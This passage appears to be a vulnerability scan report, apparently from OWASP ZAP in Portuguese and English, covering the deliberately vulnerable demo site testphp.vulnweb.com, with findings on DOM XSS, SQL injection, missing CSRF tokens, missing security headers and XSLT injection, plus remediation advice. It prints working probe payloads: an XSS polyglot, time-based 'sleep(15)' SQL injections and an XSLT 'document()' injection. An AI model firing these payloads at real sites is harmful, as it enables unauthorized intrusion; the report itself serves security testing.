Other Info	vulnweb.com/signup.php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div/form/table /tbody/tr[1]/td[2]/input the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div /form/table/tbody/tr[1]/td[2]/input Access: http://testphp.vulnweb.com/signup. php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div/form/table/tbody/tr[2]/td[2]/input the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div/form/table/tbody/tr[2]/td[2] /input Access: http://testphp.vulnweb.com/signup.php<PAYLOAD_0> Write to /html/body/div [1]/div[3]/div/form/table/tbody/tr[3]/td[2]/input the value: <PAYLOAD_0> Click element: /html /body/div[1]/div[3]/div/form/table/tbody/tr[3]/td[2]/input Access: http://testphp.vulnweb.com /signup.php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div/form/table/tbody/tr[4]/td[2] /input the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div/form/table/tbody /tr[4]/td[2]/input Access: http://testphp.vulnweb.com/signup.php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div/form/table/tbody/tr[5]/td[2]/input the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div/form/table/tbody/tr[5]/td[2]/input Access: http://testphp. vulnweb.com/signup.php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div/form/table /tbody/tr[6]/td[2]/input the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div /form/table/tbody/tr[6]/td[2]/input Access: http://testphp.vulnweb.com/signup. php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div/form/table/tbody/tr[7]/td[2]/input the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div/form/table/tbody/tr[7]/td[2] /input Access: http://testphp.vulnweb.com/signup.php<PAYLOAD_0> Write to /html/body/div [1]/div[3]/div/form/table/tbody/tr[9]/td/input the value: <PAYLOAD_0> Click element: /html /body/div[1]/div[3]/div/form/table/tbody/tr[9]/td/input Access: http://testphp.vulnweb.com /signup.php<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/signup.php<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1] /form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form /input[2]
URL	http://testphp.vulnweb.com/search.php?test=query#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Método	POST
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/< /teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/< /teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp. vulnweb.com/search.php?test=query<PAYLOAD_0> Write to /html/body/div[1]/div[4]/div[1] /form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[4]/div[1]/form /input[1] Access: http://testphp.vulnweb.com/search.php?test=query<PAYLOAD_0> Write to /html/body/div[1]/div[4]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html /body/div[1]/div[4]/div[1]/form/input[2] Access: http://testphp.vulnweb.com/search.php? test=query<PAYLOAD_0>
Instances	15
	Fase: Arquitetura e Design. Use uma biblioteca verificada ou framework que não permita que essa vulnerabilidade ocorra, ou forneça construções/implementações que tornem essa vulnerabilidade mais fácil de evitar. Exemplos de bibliotecas e frameworks que facilitam a geração de saída codificada adequadamente incluem a biblioteca Anti-XSS da Microsoft, o módulo de codificação OWASP ESAPI e o Apache Wicket. Fases: Implementação | Arquitetura e Design. Compreenda o contexto no qual seus dados serão usados e a codificação que será esperada. Isso é especialmente importante ao transmitir dados entre componentes diferentes ou ao gerar saídas que podem conter várias codificações ao mesmo tempo, como páginas da web ou mensagens de e-mail com várias partes. Estude todos os protocolos de comunicação e representações de dados esperados para determinar as estratégias de codificação necessárias.

Solution	Para quaisquer dados que serão enviados para outra página da web, especialmente quaisquer dados recebidos de entradas externas, use a codificação apropriada em todos os caracteres não alfanuméricos. Consulte a Página de Dicas de Prevenção de XSS para obter mais detalhes sobre os tipos de codificação e escape que são necessários. Fase: Arquitetura e Design. Para todas as verificações de segurança realizadas no lado do cliente, certifique-se de que essas verificações sejam duplicadas no lado do servidor, a fim de evitar a CWE-602. Invasores podem ignorar as verificações do lado do cliente, modificando os valores após a realização das verificações ou alterando o cliente para remover as verificações do lado do cliente completamente. Em seguida, esses valores modificados poderiam ser enviados ao servidor. Se disponível, use mecanismos estruturados que impõem automaticamente a separação entre dados e código. Esses mecanismos podem ser capazes de fornecer citação, codificação e validação relevantes automaticamente, em vez de depender do desenvolvedor para fornecer esse recurso em cada ponto onde a saída é gerada. Fase: Implementação. Para cada página web gerada, use e especifique uma codificação de caracteres, como ISO-8859-1 ou UTF-8. Quando uma codificação não é especificada, o navegador pode escolher uma codificação diferente, tentando adivinhar por eliminação qual codificação está realmente sendo usada pela página da web. Isso pode fazer com que o navegador da web trate certas sequências como especiais, abrindo o cliente para ataques XSS sutis. Consulte a CWE-116 para obter mais informações sobre mitigações relacionadas à codificação /escape. Para ajudar a mitigar os ataques XSS contra cookie de sessão do usuário, defina o cookie de sessão como HttpOnly. Em navegadores que suportam o recurso HttpOnly (como versões mais recentes do Internet Explorer e Firefox), esse atributo pode impedir que o cookie de sessão do usuário seja acessível a scripts mal-intencionados do lado do cliente que usam document.cookie. Esta não é uma solução completa, já que HttpOnly não é compatível com todos os navegadores. Mais importante ainda, XMLHTTPRequest e outras poderosas tecnologias de navegadores fornecem acesso de leitura a cabeçalhos HTTP, incluindo o cabeçalho Set-Cookie no qual o sinalizador HttpOnly é definido. Presuma que toda a entrada de dados é maliciosa. Use uma estratégia de validação de entrada "aceita como boa", ou seja, use uma lista de permissões de entradas aceitáveis que estejam estritamente em conformidade com as especificações. Rejeite quaisquer entradas que não estejam estritamente de acordo com as especificações ou transforme-as em algo que esteja. Não confie exclusivamente na procura de entradas maliciosas ou malformadas (ou seja, não confie em uma lista de negação). No entanto, as listas de negação podem ser úteis para detectar ataques em potencial ou determinar quais entradas estão tão malformadas que devem ser rejeitadas imediatamente. Ao executar a validação de entradas de dados, considere todas as propriedades potencialmente relevantes, incluindo comprimento, tipo de entrada, a gama completa de valores aceitáveis, entradas ausentes ou extras, sintaxe, consistência entre campos relacionados e conformidade com as regras de negócios. Como um exemplo de lógica de regra de negócios, "barco" pode ser sintaticamente válido porque contém apenas caracteres alfanuméricos, mas não é válido se você estiver esperando cores como "vermelho" ou "azul". Certifique-se de realizar a validação de entrada em interfaces bem definidas dentro do aplicativo. Isso ajudará a proteger o aplicativo, mesmo se um componente for reutilizado ou movido para outro lugar.
Reference	https://owasp.org/www-community/attacks/xss/ https://cwe.mitre.org/data/definitions/79.html
CWE Id	79
WASC Id	8
Plugin Id	40026

Alto	Injeção SQL - MySQL
Descrição	SQL injection may be possible.
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=%27
Método	GET
Ataque	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=%27
Método	GET
Ataque	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/artists.php?artist=%27
Método	GET
Ataque	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/listproducts.php?artist=%27
Método	GET
Ataque	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/listproducts.php?cat=%27
Método	GET
Ataque	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/product.php?pic=%27
Método	GET
Ataque	'
Evidence	You have an error in your SQL syntax
	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in

Other Info	your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/AJAX/infotitle.php
Método	POST
Ataque	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/search.php?test=%27
Método	POST
Ataque	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST
Ataque	GUkWhybq'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	'
Evidence	You have an error in your SQL syntax
Other	RDBMS [MySQL] likely, given error message regular expression [\QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by

Info	manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=1
Método	GET
Ataque	1 and 0 in (select sleep(15)) --
Evidence	
Other Info	The query time is controllable using parameter value [1 and 0 in (select sleep(15)) --], which caused the request to take [15.130] milliseconds, when the original unmodified query with value [1] took [0] milliseconds.
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=4
Método	GET
Ataque	4 and 0 in (select sleep(15)) --
Evidence	
Other Info	The query time is controllable using parameter value [4 and 0 in (select sleep(15)) --], which caused the request to take [15.125] milliseconds, when the original unmodified query with value [4] took [0] milliseconds.
URL	http://testphp.vulnweb.com/artists.php?artist=3
Método	GET
Ataque	3 and 0 in (select sleep(15)) --
Evidence	
Other Info	The query time is controllable using parameter value [3 and 0 in (select sleep(15)) --], which caused the request to take [15.124] milliseconds, when the original unmodified query with value [3] took [0] milliseconds.
URL	http://testphp.vulnweb.com/product.php?pic=7
Método	GET
Ataque	7 and 0 in (select sleep(15)) --
Evidence	
Other Info	The query time is controllable using parameter value [7 and 0 in (select sleep(15)) --], which caused the request to take [15.129] milliseconds, when the original unmodified query with value [7] took [0] milliseconds.
URL	http://testphp.vulnweb.com/AJAX/infotitle.php
Método	POST
Ataque	2 and 0 in (select sleep(15)) --
Evidence	
Other Info	The query time is controllable using parameter value [2 and 0 in (select sleep(15)) --], which caused the request to take [15.127] milliseconds, when the original unmodified query with value [2] took [0] milliseconds.
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	CrUfKCNf' / sleep(15) / '
Evidence	
Other Info	The query time is controllable using parameter value [CrUfKCNf' / sleep(15) / '], which caused the request to take [15.123] milliseconds, when the original unmodified query with value [CrUfKCNf] took [0] milliseconds.
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	ZAP' / sleep(15) / '

Evidence	
Other Info	The query time is controllable using parameter value [ZAP' / sleep(15) / '], which caused the request to take [15.125] milliseconds, when the original unmodified query with value [ZAP] took [0] milliseconds.
Instances	19
Solution	Do not trust client side input, even if there is client side validation in place. In general, type check all data on the server side. If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?' If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries. If database Stored Procedures can be used, use them. Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality! Do not create dynamic SQL queries using simple string concatenation. Escape all data received from the client. Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input. Apply the principle of least privilege by using the least privileged database user possible. In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact. Grant the minimum database access that is necessary for the application.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE Id	89
WASC Id	19
Plugin Id	40018

Médio	**Ausência de tokens Anti-CSRF**
Descrição	Não foram localizados tokens Anti-CSRF no formulário de submissão HTML. Uma falsificação de solicitação entre sites (Cross-Site Request Forgery ou simplesmente CSRF) é um ataque que envolve forçar a vítima a enviar uma solicitação HTTP a um destino alvo sem seu conhecimento ou intenção, a fim de realizar uma ação como a vítima. A causa implícita é a funcionalidade do aplicativo usando ações previsíveis em URLs /formulários, de maneira repetível. A natureza do ataque é que o CSRF explora a confiança que um site tem em um usuário. Em contrapartida, um ataque do tipo Cross-Site Scripting (XSS) explora a confiança que um usuário tem em um site. Como o XSS, os ataques CSRF não são necessariamente entre sites, mas também podem ser. A falsificação de solicitação entre sites também é conhecida por "CSRF", "XSRF", "one-click attack", "session riding", "confused deputy", e "sea surf". Os ataques CSRF são efetivos em várias situações, incluindo: * - A vítima tem uma sessão ativa no site de destino; * - A vítima está autenticada por meio de autenticação HTTP no site de destino; * - A vítima está na mesma rede local do site de destino.

	O CSRF era usado principalmente para executar ações contra um site-alvo usando os privilégios da vítima, mas técnicas recentes foram descobertas para vazamento de informações obtendo acesso às respostas. O risco de vazamento/divulgação não autorizada de informações aumenta drasticamente quando o site de destino é vulnerável a XSS, porque o XSS pode ser usado como uma plataforma para CSRF, permitindo que o ataque opere dentro dos limites da política de mesma origem.
URL	http://testphp.vulnweb.com/cart.php
Método	POST
Ataque	
Evidence	<form action="search.php?test=query" method="post">
Other Info	Nenhum token Anti-CSRF conhecido [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] foi encontrado nos seguintes formulários HTML: [Form 1: "goButton" "searchFor"].
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	<form action="" method="post" name="faddentry">
Other Info	Nenhum token Anti-CSRF conhecido [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] foi encontrado nos seguintes formulários HTML: [Form 1: "name" "submit"].
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	<form action="search.php?test=query" method="post">
Other Info	Nenhum token Anti-CSRF conhecido [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] foi encontrado nos seguintes formulários HTML: [Form 2: "goButton" "searchFor"].
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST
Ataque	
Evidence	<form action="search.php?test=query" method="post">
Other Info	Nenhum token Anti-CSRF conhecido [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] foi encontrado nos seguintes formulários HTML: [Form 1: "goButton" "searchFor"].
Instances	4
	Fase: Arquitetura e Design. Use uma biblioteca verificada ou framework que não permita que essa vulnerabilidade ocorra, ou forneça construções/implementações que tornem essa vulnerabilidade mais fácil de evitar. Por exemplo, use pacotes anti-CSRF, como o OWASP CSRFGuard. Fase: Implementação. Certifique-se de que seu aplicativo esteja livre de problemas de cross-site scripting (XSS), porque a maioria das defesas CSRF pode ser contornada usando script controlado por invasor. Fase: Arquitetura e Design.

Solution	Gere um número arbitrário de uso único e exclusivo (ou Nonce = "N" de "number" - número em inglês - e "once" de "uma vez" também em inglês) para cada formulário, coloque o nonce no formulário e verifique-o ao receber o formulário. Certifique-se de que o nonce não seja previsível (CWE-330). Observe que isso pode ser contornado usando XSS. Identifique operações especialmente perigosas. Quando o usuário realizar uma operação perigosa, envie uma solicitação de confirmação separada para garantir que o usuário pretendia realizar aquela operação. Observe que isso pode ser contornado usando XSS. Utilize o controle ESAPI Session Management. Este controle inclui um componente para CSRF. Não use o método GET para qualquer solicitação que acione uma mudança de estado. Fase: Implementação. Verifique o cabeçalho HTTP Referer para ver se a solicitação foi originada de uma página esperada. Isso pode interromper funcionalidades legítimas, porque os usuários ou proxies podem ter desativado o envio do Referer por motivos de privacidade.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html https://cwe.mitre.org/data/definitions/352.html
CWE Id	352
WASC Id	9
Plugin Id	10202

Médio	**Content Security Policy (CSP) Header Not Set**
Descrição	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a set of standard HTTP headers that allow website owners to declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.
URL	http://testphp.vulnweb.com
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX/index.php
Método	GET
Ataque	

Evidence	
Other Info	
URL	http://testphp.vulnweb.com/artists.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=1
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=2
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=3
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/cart.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/categories.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/comment.php?aid=1
Método	GET
Ataque	
Evidence	
Other	

Info	
URL	http://testphp.vulnweb.com/comment.php?aid=2
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/comment.php?aid=3
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/disclaimer.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/high
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp/?pp=12
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp/params.php?aaaa%2F=Submit+Query

Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/index.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=1
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=2
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=3
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=1
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=2
Método	GET

Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=3
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=4
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/login.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3/
Método	GET
Ataque	
Evidence	

Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-1.html
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-2.html
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-3.html
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/privacy.php
Método	GET
Ataque	
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/product.php?pic=1
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=2
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=3
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=4
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=5
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=6
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=7
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/robots.txt
Método	GET

Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/signup.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/sitemap.xml
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX/showxml.php
Método	POST
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/cart.php
Método	POST
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	

Evidence	
Other Info	
Instances	54
Solution	Ensure that your web server, application server, load balancer, etc. is configured to set the Content-Security-Policy header.
Reference	https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html https://www.w3.org/TR/CSP/ https://w3c.github.io/webappsec-csp/ https://web.dev/articles/csp https://caniuse.com/#feat=contentsecuritypolicy https://content-security-policy.com/
CWE Id	693
WASC Id	15
Plugin Id	10038

Médio	**Injeção XSLT**
Descrição	Injection using XSL transformations may be possible, and may allow an attacker to read system information, read and write files, or execute arbitrary code.
URL	http://testphp.vulnweb.com/showimage.php?file=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2Ftestphp.vulnweb.com%3A22%27%29%22%2F%3E
Método	GET
Ataque	<xsl:value-of select="document('http://testphp.vulnweb.com:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://testphp.vulnweb.com/showimage.php?file=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2Ftestphp.vulnweb.com%3A22%27%29%22%2F%3E&size=160
Método	GET
Ataque	<xsl:value-of select="document('http://testphp.vulnweb.com:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
Instances	2
Solution	Sanitize and analyze every user input coming from any client-side.
Reference	https://www.contextis.com/blog/xslt-server-side-injection-attacks
CWE Id	91
WASC Id	23
Plugin Id	90017

Médio	**Missing Anti-clickjacking Header**
Descrição	The response does not include either Content-Security-Policy with 'frame-ancestors' directive or X-Frame-Options to protect against 'ClickJacking' attacks.
URL	http://testphp.vulnweb.com
Método	GET
Ataque	

Evidence	
Other Info	
URL	http://testphp.vulnweb.com/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX/index.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/artists.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=1
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=2
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=3
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/cart.php
Método	GET
Ataque	
Evidence	
Other	

Info	
URL	http://testphp.vulnweb.com/categories.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/disclaimer.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp/?pp=12
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/index.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=1

Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=2
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=3
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=1
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=2
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=3
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=4
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/login.php
Método	GET

Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/
Método	GET
Ataque	
Evidence	

Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-1.html
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-2.html
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-3.html
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=1
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=2
Método	GET
Ataque	
Evidence	
